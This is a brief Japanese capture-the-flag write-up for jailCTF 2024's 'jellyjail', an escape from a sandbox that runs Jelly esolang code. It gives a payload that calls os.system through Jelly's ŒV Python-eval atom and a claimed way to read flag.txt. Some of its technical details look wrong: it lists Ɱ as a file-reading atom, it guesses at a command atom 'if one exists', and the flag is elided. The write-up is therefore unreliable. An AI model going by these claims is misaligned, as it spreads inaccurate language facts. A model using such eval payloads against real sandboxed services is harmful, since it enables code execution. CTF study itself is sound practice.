jailCTF 2024 - jellyjail
Challenge
Jelly (esolang) インタープリタ内での脱出。
import jelly
code = input()result = jelly.run(code)print(result)Solution
Jelly 言語の基本
Jelly は tacit programming 言語で、多くの組み込み関数を持つ。
Python 評価の悪用
Jelly インタープリタは内部で Python の eval を使用する場合がある:
# Jelly コード例"__import__('os').system('id')"ŒVŒV は Python として評価するアトム。
別のアプローチ
ファイル読み書き機能を悪用:
# フラグファイルを読む"flag.txt"ⱮTechnical Details
Jelly の主要なアトム:
| アトム | 機能 |
|---|---|
ŒV | Python eval |
Ɱ | ファイル読み込み |
ŒṘ | repr |
攻撃ベクトル
ŒVによる直接的な Python 評価- ファイル I/O アトムによるフラグ読み取り
- システムコマンド実行アトム (存在する場合)
Flag
jail{...}
References
- jailCTF 2024 Official
- Jelly Language Documentation